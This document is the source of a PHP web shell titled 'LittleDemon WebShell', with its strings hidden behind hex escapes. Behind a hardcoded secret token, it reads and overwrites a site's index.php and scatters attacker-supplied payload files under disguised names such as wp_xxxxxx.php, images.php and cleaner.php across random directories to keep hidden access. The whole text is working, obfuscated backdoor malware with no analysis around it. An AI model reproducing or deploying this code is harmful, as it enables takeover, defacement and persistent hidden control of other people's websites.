LittleDemon WebShell

<?php if (isset($_POST["\x74\x6f\x6b\x65\x6e"]) && $_POST["\x74\x6f\x6b\x65\x6e"] === "\x63\x68\x65\x63\x6b\x74\x6f\x6b\x65\x6e\x5f\x38\x38\x38" && ($_POST["\x61\x63\x74\x69\x6f\x6e"] ?? "") === "\x63\x68\x65\x63\x6b\x77\x70\x77\x70\x73\x61\x66\x65") { header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e\x3b\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x75\x74\x66\x2d\x38"); echo json_encode([ "\x73\x75\x63\x63\x65\x73\x73" => true, "\x63\x68\x65\x63\x6b\x63\x6f\x64\x65" => "\x38\x38\x38" ]); exit; } error_reporting(0); ini_set("\x64\x69\x73\x70\x6c\x61\x79\x5f\x65\x72\x72\x6f\x72\x73", 0); @ini_set("\x6d\x65\x6d\x6f\x72\x79\x5f\x6c\x69\x6d\x69\x74", "\x35\x31\x32\x4d"); @set_time_limit(0); $v_0 = "\x4d\x79\x53\x75\x70\x65\x72\x53\x65\x63\x72\x65\x74\x54\x6f\x6b\x65\x6e\x5f\x38\x38\x38"; if (($_POST["\x74\x6f\x6b\x65\x6e"] ?? "") !== $v_0) { header("\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x34\x30\x33\x20\x46\x6f\x72\x62\x69\x64\x64\x65\x6e"); die(json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x55\x6e\x61\x75\x74\x68\x6f\x72\x69\x7a\x65\x64\x20\x61\x63\x63\x65\x73\x73"])); } $v_1 = $_POST["\x61\x63\x74\x69\x6f\x6e"] ?? ""; $v_2 = rtrim($_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"], '/\\'); if (empty($v_2)) $v_2 = __DIR__; $v_3 = $v_2 . "\x2f\x69\x6e\x64\x65\x78\x2e\x70\x68\x70"; $v_4 = $v_2 . "\x2f\x64\x65\x66\x61\x75\x6c\x74\x2e\x70\x68\x70"; $v_5 = file_exists($v_3) ? $v_3 : (file_exists($v_4) ? $v_4 : $v_3); if ($v_1 === "\x72\x65\x61\x64\x5f\x69\x6e\x64\x65\x78") { ob_clean(); clearstatcache(); if (!file_exists($v_5)) die(json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x49\x6e\x64\x65\x78\x20\x6e\x6f\x74\x20\x66\x6f\x75\x6e\x64"])); if (!is_readable($v_5)) @chmod($v_5, 0644); $v_6 = file_get_contents($v_5); if ($v_6 === false) die(json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x52\x65\x61\x64\x20\x64\x65\x6e\x69\x65\x64"])); echo json_encode(["\x73\x75\x63\x63\x65\x73\x73" => true, "\x63\x6f\x6e\x74\x65\x6e\x74" => base64_encode($v_6)]); exit; } if ($v_1 === "\x77\x72\x69\x74\x65\x5f\x69\x6e\x64\x65\x78") { ob_clean(); $v_6 = base64_decode($_POST["\x63\x6f\x6e\x74\x65\x6e\x74"] ?? ""); if (empty($v_6)) die(json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x44\x61\x74\x61\x20\x65\x6d\x70\x74\x79"])); clearstatcache(); $v_7 = false; if (file_exists($v_5)) @chmod($v_5, 0777); if (@file_put_contents($v_5, $v_6) !== false) { $v_7 = true; } else { if (@unlink($v_5) && @file_put_contents($v_5, $v_6) !== false) { $v_7 = true; } } if ($v_7) { @chmod($v_5, 0644); echo json_encode(["\x73\x75\x63\x63\x65\x73\x73" => true, "\x6d\x73\x67" => "\x52\x65\x73\x74\x6f\x72\x65\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c"]); } else { echo json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x57\x72\x69\x74\x65\x20\x66\x61\x69\x6c\x65\x64"]); } exit; } if ($v_1 === "\x64\x65\x70\x6c\x6f\x79\x5f\x66\x6d") { ob_clean(); $v_8 = base64_decode($_POST["\x66\x6d\x5f\x63\x6f\x6e\x74\x65\x6e\x74"] ?? ""); $v_9 = base64_decode($_POST["\x66\x6d\x5f\x63\x6c\x65\x61\x6e\x65\x72"] ?? ""); if (empty($v_8)) die(json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x50\x61\x79\x6c\x6f\x61\x64\x20\x65\x6d\x70\x74\x79"])); if (empty($v_9)) die(json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x43\x6c\x65\x61\x6e\x65\x72\x20\x63\x6f\x6e\x74\x65\x6e\x74\x20\x65\x6d\x70\x74\x79"])); function getRandomDeepDir($v_a) { $v_b = ""; $v_c = $v_a; $v_d = mt_rand(2, 4); for ($v_e = 0; $v_e < $v_d; $v_e++) { $v_f = @scandir($v_c); if (!is_array($v_f)) break; $v_g = []; foreach ($v_f as $v_h) { if ($v_h !== "\x2e" && $v_h !== "\x2e\x2e" && $v_h !== "\x2e\x67\x69\x74" && $v_h !== "\x2e\x69\x64\x65\x61") { $v_i = $v_c . "\x2f" . $v_h; if (@is_dir($v_i) && @is_readable($v_i)) { $v_g[] = $v_h; } } } if (empty($v_g)) break; $v_j = $v_g[array_rand($v_g)]; $v_b .= "\x2f" . $v_j; $v_c .= "\x2f" . $v_j; } return $v_b; } $v_k = []; for ($v_e = 0; $v_e < 5; $v_e++) { $v_l = getRandomDeepDir($v_2); if (empty($v_l)) { $v_l = "\x2f" . substr(str_shuffle("\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a"), 0, mt_rand(5, 8)); $v_m = $v_2 . $v_l; @mkdir($v_m, 0755, true); } else { $v_m = $v_2 . $v_l; } if (stripos($v_m, "\x6d\x75\x2d\x70\x6c\x75\x67\x69\x6e\x73") !== false) continue; $v_n = "\x77\x70\x5f" . substr(str_shuffle("\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a"), 0, 6) . "\x2e\x70\x68\x70"; $v_o = $v_m . "\x2f" . $v_n; if (@file_put_contents($v_o, $v_8) !== false) { @chmod($v_o, 0644); $v_k[] = $v_l . "\x2f" . $v_n; } } $v_p = "\x69\x6d\x61\x67\x65\x73\x2e\x70\x68\x70"; if (@file_put_contents($v_p, $v_8) !== false) { @chmod($v_p, 0644); } $v_q = "\x63\x6c\x65\x61\x6e\x65\x72\x2e\x70\x68\x70"; if (@file_put_contents($v_q, $v_9) !== false) { @chmod($v_q, 0644); } if (count($v_k) > 0) { echo json_encode(["\x73\x75\x63\x63\x65\x73\x73" => true, "\x66\x6d\x5f\x70\x61\x74\x68\x73" => implode("\x2c", $v_k)]); } else { echo json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x44\x65\x70\x6c\x6f\x79\x20\x66\x61\x69\x6c\x65\x64\x20\x64\x75\x65\x20\x74\x6f\x20\x73\x74\x72\x69\x63\x74\x20\x70\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x73"]); } exit; } echo json_encode(["\x73\x75\x63\x63\x65\x73\x73" => false, "\x6d\x73\x67" => "\x55\x6e\x6b\x6e\x6f\x77\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64"]); ?>